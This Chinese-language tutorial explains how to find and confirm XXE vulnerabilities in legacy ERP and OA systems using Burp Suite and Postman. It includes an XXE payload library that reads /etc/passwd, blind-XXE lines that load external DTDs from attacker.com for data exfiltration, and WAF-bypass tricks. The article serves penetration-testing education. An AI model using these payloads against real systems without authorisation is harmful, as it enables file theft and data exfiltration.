当前位置: 首页 > news >正文

别再只盯着JSON了!用Burp Suite和Postman挖那些老系统里的XML宝藏(XXE实战)

挖掘老旧系统中的XML安全漏洞:Burp Suite与Postman实战指南

在数字化转型浪潮中,许多企业仍运行着基于XML的老旧系统。这些"古董"应用往往隐藏着被忽视的安全隐患,尤其是XML外部实体(XXE)漏洞。本文将带您深入探索如何利用Burp Suite和Postman这类常用工具,在ERP、OA等传统系统中发现并验证XXE漏洞。

1. 识别XML系统的蛛丝马迹

老旧系统中的XML使用往往不像现代API那样显而易见。我们需要像侦探一样,从细微处寻找线索。

请求特征分析

  • 观察HTTP头中的Content-Type字段,常见值包括:
    • application/soap+xml
    • text/xml
    • application/xml

业务场景线索

  • 企业资源规划(ERP)系统中的数据导入导出功能
  • 客户关系管理(CRM)的报表生成接口
  • 工作流系统的模板上传功能
  • 老版本Web服务的SOAP接口

提示:在Burp Suite的Proxy历史记录中,使用Filter功能搜索包含<>符号的请求,这能快速定位潜在的XML流量。

Burp Suite实战技巧

  1. 开启Proxy拦截模式
  2. 在Target→Site map中右键点击目标域名
  3. 选择"Find in requests"并搜索Content-Type: *xml
  4. 对发现的请求右键选择"Send to Repeater"进行深入测试

2. 定位非常规XML注入点

教科书上的XXE案例往往过于理想化,真实环境中的注入点可能隐藏在意想不到的地方。

非常规注入点案例

  • 系统配置备份接口:许多老系统使用XML格式保存配置备份
  • 日志查询功能:某些系统用XML结构描述查询条件
  • 数据同步接口:系统间的数据同步常采用XML格式
  • 审批流程定义:工作流系统的流程定义文件

Postman Collection实战

POST /api/importConfig HTTP/1.1 Host: legacy-system.example.com Content-Type: application/xml Authorization: Bearer xxxx <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <config> <import>&xxe;</import> </config>

Burp Suite Repeater技巧

  • 使用%00终止符绕过某些XML解析器的限制
  • 尝试不同编码方式(如UTF-16)绕过WAF检测
  • 在XML声明中添加无关属性混淆防御机制:
    <?xml version="1.0" encoding="UTF-16" standalone="no"?>

3. 构建半自动化测试流程

高效测试老旧系统需要结合自动化工具和人工智慧。

Burp Suite工作流

  1. 使用Scanner进行初步探测
  2. 对疑似漏洞手动验证
  3. 保存有效Payload到"Notes"功能
  4. 使用"Save item"功能建立测试案例库

Postman测试集设计

  • 创建专门针对XXE测试的Collection
  • 预设常见Payload模板
  • 使用环境变量动态替换关键参数
  • 设置测试脚本自动验证响应

实用Payload库

<!-- 基础探测Payload --> <!DOCTYPE test [ <!ENTITY test "XXE-TEST"> ]> <root>&test;</root> <!-- 文件读取Payload --> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data> <!-- 盲注探测Payload --> <!DOCTYPE test [ <!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd"> %dtd; ]>

4. 绕过老旧系统的特殊限制

这些"古董"系统往往有独特的防御机制和解析行为,需要特殊技巧应对。

常见限制及绕过方法

限制类型典型表现绕过技巧
内容检查返回"Invalid XML"使用CDATA包裹恶意内容
实体过滤拦截DOCTYPE声明使用参数实体嵌套
编码检测拒绝非UTF-8请求尝试UTF-7编码
大小限制截断长Payload使用短实体名和最小化结构

实战案例:ERP系统绕过

  1. 发现系统过滤了SYSTEM关键字
  2. 改用参数实体绕过:
    <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> <data>&exfil;</data>
  3. 配合外部DTD文件实现数据外带

盲注检测技巧

  • 使用DNS查询确认漏洞存在:
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://attacker-subdomain.example.com"> ]>
  • 在Burp Collaborator中观察DNS查询记录
  • 通过响应时间差异判断服务器端文件读取

5. 实战中的注意事项与技巧

在测试这些老旧系统时,需要格外小心以避免服务中断或数据损坏。

关键注意事项

  • 避免DoS攻击:老旧系统可能无法处理复杂实体扩展
  • 谨慎文件读取:某些系统关键文件被读取可能导致崩溃
  • 记录所有操作:这些系统往往缺乏完善的日志,需要自行记录测试过程
  • 考虑编码问题:老系统可能使用特殊字符集(如GB2312)

实用小技巧

  • 在Burp Suite中设置Match and Replace规则,自动添加XXE探测Payload
  • 使用Postman的Pre-request Script自动生成动态XML内容
  • 建立Payload变异库,包含各种编码和格式变体
  • 对响应内容设置高亮规则,快速识别成功利用

在一次企业内网测试中,我们发现一个老旧的文档管理系统会解析上传文件的XML元数据。通过构造特殊的XMP元数据,我们成功实现了服务器文件读取。这个注入点完全不在常规的测试范围内,却成为了整个测试中最严重的发现。

http://www.jsqmd.com/news/591936/

相关文章:

  • 外贸SEO需要结合哪些线上线下营销手段
  • BERTopic技术架构深度解析:模块化主题建模系统的设计哲学与实现原理
  • 高效图片批量下载工具:让网络图片采集效率提升10倍
  • Mac Mouse Fix:5个核心技术揭秘,让普通鼠标在macOS上超越触控板体验
  • linux C++代码崩溃查询工具及操作说明 , 真正的C++部署工程往往比较多个模块协同运行
  • 保姆级教程:在IsaacGym 2022.1中为Franka机械臂添加力传感器(附完整代码)
  • 手机录制视频+云盘自动备份视频=安全监控
  • 百考通:汇聚了大量高质量实战项目,精准匹配当前主流技术方向与行业需求
  • 新手福音:在快马平台零配置体验matlab核心计算与绘图功能
  • Pixel Aurora Engine应用场景:复古风品牌VI系统像素化延展设计案例
  • AMD显卡本地AI部署终极指南:三步解锁免费大模型运行能力
  • PointNet实战:从零开始搭建3D点云分类模型(附TensorFlow代码解析)
  • ComfyUI-FramePackWrapper模型加载策略:从问题诊断到决策落地的全流程指南
  • UndertaleModTool:GameMaker游戏解包与深度修改的完整解决方案
  • 用iTwin.js构建下一代工程协作平台:从核心功能到实践落地
  • OpCore-Simplify:智能自动化EFI构建的技术突破实践
  • GLM-4-9B-Chat-1M完整指南:支持中文长文本、代码、多轮对话的本地LLM
  • GetSub终极指南:5分钟掌握智能字幕下载,从此告别找字幕的烦恼!
  • 如何3分钟完成PDF文档比对:开源工具的终极解决方案
  • OneDrive彻底卸载方法论:从系统残留清除到性能优化的完整策略
  • BiliTools哔哩哔哩工具箱:5分钟掌握跨平台B站资源管理终极方案
  • Win10 22H2 Oct版安装全攻略:DISM++ vs 传统ISO安装,哪种更适合你?
  • AI辅助开发:让openclaw听懂人话,基于快马AI打造智能自然语言命令行工具
  • 百考通:AI精准赋能,让每一份调研与设计更高效、更专业
  • 使用VS Code远程开发调试SDMatte服务:高效开发工作流搭建
  • androidx+previewView手机摄像头示例代码---常用版---最方便
  • 保姆级教程:在Ubuntu 16.04上搞定Matlab 2021b安装与破解(附一键启动脚本)
  • OpCore-Simplify:零代码自动化配置黑苹果的解决方案
  • Qwen2.5-1.5B轻量AI助手实战:自媒体选题策划+爆款标题生成效果分析
  • 从Gridworld到吃豆人:用Python拆解强化学习核心算法(附CS188项目代码解析)